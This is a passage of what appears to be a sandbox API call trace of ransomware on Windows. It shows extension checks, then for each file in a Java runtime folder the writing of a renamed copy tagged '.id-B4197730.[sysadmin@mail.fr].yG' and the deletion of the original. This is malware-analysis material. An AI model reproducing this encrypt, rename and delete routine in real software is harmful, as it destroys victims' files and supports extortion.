	[0146.883] lstrlenW (lpString=".zip") returned 4
	[0146.883] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.883] lstrlenW (lpString=".rar") returned 4
	[0146.883] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.883] lstrlenW (lpString=".bz2") returned 4
	[0146.883] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.883] lstrlenW (lpString=".7z") returned 3
	[0146.883] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.883] lstrlenW (lpString=".dbf") returned 4
	[0146.883] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString=".1cd") returned 4
	[0146.884] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString=".jpg") returned 4
	[0146.884] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString=".doc") returned 4
	[0146.884] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.884] lstrlenW (lpString=".docx") returned 5
	[0146.884] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0146.884] lstrlenW (lpString=".pdf") returned 4
	[0146.884] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString=".xls") returned 4
	[0146.884] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString=".xlsx") returned 5
	[0146.884] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0146.884] lstrlenW (lpString=".ppt") returned 4
	[0146.884] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString=".zip") returned 4
	[0146.884] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString=".rar") returned 4
	[0146.884] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.884] lstrlenW (lpString=".bz2") returned 4
	[0146.884] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.884] lstrlenW (lpString=".7z") returned 3
	[0146.884] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.884] lstrlenW (lpString=".dbf") returned 4
	[0146.884] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.885] lstrlenW (lpString=".1cd") returned 4
	[0146.885] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.885] lstrlenW (lpString=".jpg") returned 4
	[0146.885] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.885] lstrcmpiW (lpString1=".access", lpString2=".yG") returned -1
	[0146.885] lstrlenW (lpString="jmxremote.access") returned 16
	[0146.885] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0146.888] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3998) returned 1
	[0146.888] CloseHandle (hObject=0x4b0) returned 1
	[0146.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20
	[0146.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0146.888] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.888] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.036] GetLastError () returned 0x0
	[0147.036] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xf9e, lpOverlapped=0x0) returned 1
	[0147.047] WriteFile (in: hFile=0x548, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0147.048] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.048] WriteFile (in: hFile=0x548, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0147.048] SetEndOfFile (hFile=0x548) returned 1
	[0147.049] CloseHandle (hObject=0x548) returned 1
	[0147.049] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.049] SetEndOfFile (hFile=0x4b0) returned 1
	[0147.052] CloseHandle (hObject=0x4b0) returned 1
	[0147.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.052] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1
	[0147.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.054] lstrlenW (lpString=".doc") returned 4
	[0147.054] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0147.054] lstrlenW (lpString=".docx") returned 5
	[0147.054] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0147.054] lstrlenW (lpString=".pdf") returned 4
	[0147.054] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0147.054] lstrlenW (lpString=".xls") returned 4
	[0147.054] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0147.054] lstrlenW (lpString=".xlsx") returned 5
	[0147.054] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0147.054] lstrlenW (lpString=".ppt") returned 4
	[0147.054] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0147.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.054] lstrlenW (lpString=".zip") returned 4
	[0147.055] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString=".rar") returned 4
	[0147.055] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString=".bz2") returned 4
	[0147.055] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString=".7z") returned 3
	[0147.055] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0147.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.055] lstrlenW (lpString=".dbf") returned 4
	[0147.055] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.055] lstrlenW (lpString=".1cd") returned 4
	[0147.055] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.055] lstrlenW (lpString=".jpg") returned 4
	[0147.055] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0147.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.055] lstrlenW (lpString=".doc") returned 4
	[0147.055] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".docx") returned 5
	[0147.056] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0147.056] lstrlenW (lpString=".pdf") returned 4
	[0147.056] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".xls") returned 4
	[0147.056] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".xlsx") returned 5
	[0147.056] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0147.056] lstrlenW (lpString=".ppt") returned 4
	[0147.056] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.056] lstrlenW (lpString=".zip") returned 4
	[0147.056] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".rar") returned 4
	[0147.056] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".bz2") returned 4
	[0147.056] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0147.056] lstrlenW (lpString=".7z") returned 3
	[0147.056] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0147.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.057] lstrlenW (lpString=".dbf") returned 4
	[0147.057] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0147.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.057] lstrlenW (lpString=".1cd") returned 4
	[0147.057] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0147.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0147.057] lstrlenW (lpString=".jpg") returned 4
	[0147.057] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0147.057] lstrcmpiW (lpString1=".template", lpString2=".yG") returned -1
	[0147.057] lstrlenW (lpString="snmp.acl.template") returned 17
	[0147.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.071] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3376) returned 1
	[0147.071] CloseHandle (hObject=0x51c) returned 1
	[0147.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20
	[0147.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.072] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.072] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0147.073] GetLastError () returned 0x0
	[0147.073] ReadFile (in: hFile=0x51c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xd30, lpOverlapped=0x0) returned 1
	[0147.077] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0147.078] ReadFile (in: hFile=0x51c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.078] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0147.078] SetEndOfFile (hFile=0x4ac) returned 1
	[0147.078] CloseHandle (hObject=0x4ac) returned 1
	[0147.078] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.078] SetEndOfFile (hFile=0x51c) returned 1
	[0147.123] CloseHandle (hObject=0x51c) returned 1
	[0147.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.124] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1
	[0147.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.125] lstrlenW (lpString=".doc") returned 4
	[0147.125] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0147.125] lstrlenW (lpString=".docx") returned 5
	[0147.125] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0147.125] lstrlenW (lpString=".pdf") returned 4
	[0147.125] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0147.125] lstrlenW (lpString=".xls") returned 4
	[0147.125] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0147.125] lstrlenW (lpString=".xlsx") returned 5
	[0147.125] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0147.125] lstrlenW (lpString=".ppt") returned 4
	[0147.125] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0147.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.414] lstrlenW (lpString=".zip") returned 4
	[0147.414] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0147.414] lstrlenW (lpString=".rar") returned 4
	[0147.414] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0147.414] lstrlenW (lpString=".bz2") returned 4
	[0147.414] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0147.414] lstrlenW (lpString=".7z") returned 3
	[0147.415] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0147.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.415] lstrlenW (lpString=".dbf") returned 4
	[0147.415] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.415] lstrlenW (lpString=".1cd") returned 4
	[0147.415] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.415] lstrlenW (lpString=".jpg") returned 4
	[0147.415] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.415] lstrlenW (lpString=".doc") returned 4
	[0147.415] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString=".docx") returned 5
	[0147.415] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0147.415] lstrlenW (lpString=".pdf") returned 4
	[0147.415] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString=".xls") returned 4
	[0147.415] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0147.415] lstrlenW (lpString=".xlsx") returned 5
	[0147.415] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0147.415] lstrlenW (lpString=".ppt") returned 4
	[0147.415] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0147.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.532] lstrlenW (lpString=".zip") returned 4
	[0147.532] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0147.532] lstrlenW (lpString=".rar") returned 4
	[0147.532] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0147.532] lstrlenW (lpString=".bz2") returned 4
	[0147.532] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0147.532] lstrlenW (lpString=".7z") returned 3
	[0147.532] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0147.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.533] lstrlenW (lpString=".dbf") returned 4
	[0147.533] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0147.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.533] lstrlenW (lpString=".1cd") returned 4
	[0147.533] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0147.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0147.533] lstrlenW (lpString=".jpg") returned 4
	[0147.533] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0147.533] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0147.533] lstrlenW (lpString="resources.jar") returned 13
	[0147.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.750] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3492573) returned 1
	[0148.750] CloseHandle (hObject=0x540) returned 1
	[0148.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20
	[0148.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0148.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.887] lstrlenW (lpString=".doc") returned 4
	[0148.934] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.934] lstrlenW (lpString=".docx") returned 5
	[0148.934] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0148.934] lstrlenW (lpString=".pdf") returned 4
	[0148.934] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.934] lstrlenW (lpString=".xls") returned 4
	[0148.934] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.934] lstrlenW (lpString=".xlsx") returned 5
	[0148.934] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0148.934] lstrlenW (lpString=".ppt") returned 4
	[0148.935] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString=".zip") returned 4
	[0148.935] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.935] lstrlenW (lpString=".rar") returned 4
	[0148.935] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.935] lstrlenW (lpString=".bz2") returned 4
	[0148.935] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.935] lstrlenW (lpString=".7z") returned 3
	[0148.935] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString=".dbf") returned 4
	[0148.935] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString=".1cd") returned 4
	[0148.935] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString=".jpg") returned 4
	[0148.935] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.935] lstrlenW (lpString=".doc") returned 4
	[0148.935] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.935] lstrlenW (lpString=".docx") returned 5
	[0148.935] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0148.935] lstrlenW (lpString=".pdf") returned 4
	[0148.935] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.936] lstrlenW (lpString=".xls") returned 4
	[0148.936] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.936] lstrlenW (lpString=".xlsx") returned 5
	[0148.936] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0148.936] lstrlenW (lpString=".ppt") returned 4
	[0148.936] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.936] lstrlenW (lpString=".zip") returned 4
	[0148.936] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.936] lstrlenW (lpString=".rar") returned 4
	[0148.936] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.936] lstrlenW (lpString=".bz2") returned 4
	[0148.936] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.936] lstrlenW (lpString=".7z") returned 3
	[0148.936] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.936] lstrlenW (lpString=".dbf") returned 4
	[0148.936] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.936] lstrlenW (lpString=".1cd") returned 4
	[0148.936] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0148.936] lstrlenW (lpString=".jpg") returned 4
	[0148.936] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.963] lstrcmpiW (lpString1=".policy", lpString2=".yG") returned -1
	[0148.963] lstrlenW (lpString="javaws.policy") returned 13
